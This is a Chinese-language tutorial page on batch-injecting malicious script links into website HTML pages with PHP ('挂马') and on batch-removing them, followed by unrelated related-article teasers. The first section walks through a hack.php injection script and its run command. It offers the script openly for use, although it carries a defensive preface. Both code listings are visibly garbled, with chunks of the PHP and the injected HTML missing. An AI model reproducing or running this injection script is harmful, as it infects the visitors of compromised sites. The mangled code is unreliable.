php下批量挂马和批量清马代码

yizhihongxing

为了防范网络黑客的攻击,网站管理员需要了解网站被挂马后的处理方式。一般在PHP语言下,网站被挂马的原因是服务端的文件有漏洞,或者被管理员账户密码泄露,网站的代码造成的后果就是在用户请求页面时,程序会在页面HTML代码中嵌入一个恶意脚本或链接,使得用户在访问页面时会自动执行恶意脚本或链接,从而感染用户的电脑或手机。下面我们将为您介绍如何通过PHP代码来批量挂马和清马。

批量挂马代码

  1. 首先,使用以下命令创建一个新的PHP文件批量挂马:

shell
vi hack.php

  1. 写入以下代码,获取目标网站HTML页面并向其中插入恶意JavaScript代码:

```php
\n"; $js .= "var link = document.createElement('a');\n"; $js .= "link.href='".$shell_url."';\n"; $js .= "document.body.appendChild(link);\n"; $js .= "\n";

// 将生成的JavaScript代码插入到目标网站页面中
$html = str_replace("",$js. "", $html);
$handle = fopen($url, "w");
fwrite($handle, $html); // 写入添加恶意链接的页面代码
fclose($handle);
}
?>

```

以上代码中,$urls是包含目标网站URL链接的txt文件,$shell_url是恶意JavaScript链接。代码中首先读取URL列表文件,然后循环遍历每个URL链接中的页面,将恶意代码插入到HTML中,最后将修改后的HTML页面写回到服务器中。

  1. 运行挂马脚本 hack.php ,执行以下命令:

shell
php hack.php

运行后,PHP脚本会根据 urls.txt 文件内的URL信息,将恶意脚本插入到每个HTML页面中。

示例:我们将 urls.txt 文件设置为包含两个URL链接:

https://example.com/page1.html
https://example.com/page2.html

运行脚本后,PHP会替换每个HTML页面文件中的 </head> 元素标签下部分,使用以下代码将恶意链接插入HTML页面中:

```html


```

批量清马代码

  1. 首先,使用以下命令创建一个新的PHP文件批量清理马:

shell
vi clean.php

  1. 写入以下代码,用于批量清理所有PHP文件中的恶意脚本:

```php

.*?<\/script>/si", "", $file_contents);

   // 将处理后的内容写回到文件中
   file_put_contents($file, $cleaned_contents);

} ?> ```

以上代码中,首先定义了 search_files 方法用于递归查找目录下符合条件的文件,然后定义了 $start_dir 文件起始路径和 $regex_pattern 要查找的文件后缀,最后通过正则表达式匹配所有包含恶意脚本的PHP文件,将里面的脚本部分删除并保存修改后的文件。

  1. 运行 clean.php 脚本,执行以下命令:

shell php clean.php

执行该命令后,PHP会查找包含指定后缀的PHP文件,并将其中的恶意脚本删除。

示例:有一个被挂马的PHP文件 foo.php,既包含正常PHP代码也包含恶意代码:

```php

... ...



```

在运行清理脚本之后,上述PHP文件中的恶意脚本代码将被移除,只剩下正常PHP代码:

```php



...


...

```
以上就是批量挂马和清理马的完整攻略。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:php下批量挂马和批量清马代码 - Python技术站

(0)
上一篇 2023年5月23日
下一篇 2023年5月23日

相关文章

  • php版交通银行网银支付接口开发入门教程

    我来为您详细讲解“php版交通银行网银支付接口开发入门教程”的完整攻略。 简介 交通银行网银支付接口是一种在线支付方式,它基于交通银行的网银平台,为具备注册交通银行网银服务资格的商户提供在线支付收款业务。本教程主要介绍如何在 PHP 环境下开发交通银行网银支付接口。 环境要求 PHP 版本:5.2.0+ OpenSSL 扩展 CURL 扩展 支付流程 交通银…

    PHP 2023年5月26日
    00
  • PHPCMS v9 安全设置、防范教程

    PHPCMS v9 安全设置、防范教程 在使用PHPCMS v9建站的时候,要注意安全问题。本文将介绍一些常见的安全设置和防范措施,以确保您的网站不会受到攻击。 1. 使用强密码 在PHPCMS v9后台登录时,建议使用复杂的密码,包含大小写字母、数字和符号。这样可以有效地防止被猜测或撞库攻击。 示例说明: 以下是一个例子,展示了一个很容易被攻击的密码: A…

    PHP 2023年5月24日
    00
  • php实现rc4加密算法代码

    下面我就给你详细讲解一下“php实现rc4加密算法代码”的完整攻略。 什么是RC4算法 RC4加密算法是一种对称密钥加密算法,由美国工程师罗恩·里夫斯(Ron Rivest)于1987年创建,最早应用于RSA安全公司的密钥加密系统中。RC4算法采用了变换密钥流的技术,是一种流加密算法,并被广泛应用于SSL、WEP以及WPA等网络安全协议中。 RC4算法的实现…

    PHP 2023年5月23日
    00
  • php 购物车完整实现代码

    以下是详细讲解“php 购物车完整实现代码”的完整攻略。 确定功能需求 首先需要明确购物车的功能需求,如以下几点: 加入商品到购物车 修改购物车中商品数量 删除购物车中商品 显示购物车中商品信息及商品小计 计算购物车总价 数据库设计 为了对购物车中商品进行操作,需要对商品数据进行存储,因此需要设计购物车表和商品表。设计表时,需要考虑表之间的关系,如以下表结构…

    PHP 2023年5月24日
    00
  • php实现telnet功能示例

    下面我将为您提供关于“php实现telnet功能示例”的完整攻略,包含以下几个方面: telnet简要介绍 php实现telnet的基本原理 准备工作 示例1:使用php socket实现telnet 示例2:使用php的expect扩展实现telnet 【telnet简介】 telnet是指一种远程登录协议。利用telnet协议,用户可以通过互联网或本地网…

    PHP 2023年5月27日
    00
  • 深入php var_dump()函数的详解

    深入PHP var_dump()函数的详解 1. var_dump()函数的基本用法 var_dump()函数可以用于输出一个或多个变量的完整信息。它不仅可以输出变量的值,还可以输出变量的类型、长度或者是数组/对象的结构信息。使用方法很简单,只需要将要输出的变量作为参数传入即可,例如: <?php $a = "Hello World&quot…

    PHP 2023年5月26日
    00
  • 说明的比较细的php 正则学习实例

    下面是对于“说明的比较细的php正则学习实例”的完整攻略: 什么是正则表达式 正则表达式是一种用来描述字符模式的代码。在编程中,我们可以使用正则表达式来匹配、查找、替换特定的字符或字符序列。正则表达式非常强大,能够描述各种不同的模式以及规则。 正则表达式语法 下面是正则表达式的一些基本语法及其用法: . 匹配任意字符,除了换行符和其他控制字符。 [] 匹配方…

    PHP 2023年5月26日
    00
  • PHP通过CURL实现定时任务的图片抓取功能示例

    首先需要确保服务器已经安装了CURL扩展。接下来按照以下步骤进行PHP通过CURL实现定时任务的图片抓取功能: 第一步:设置获取的数据URL 首先,需要确定要从哪个URL获取数据。如果目标URL需要进行验证授权才能访问数据,则在此步骤中需要确定相应的验证授权方式,并获取授权信息。 例如,从以下URL获取一张图片:https://www.example.com…

    PHP 2023年5月26日
    00
合作推广
合作推广
分享本页
返回顶部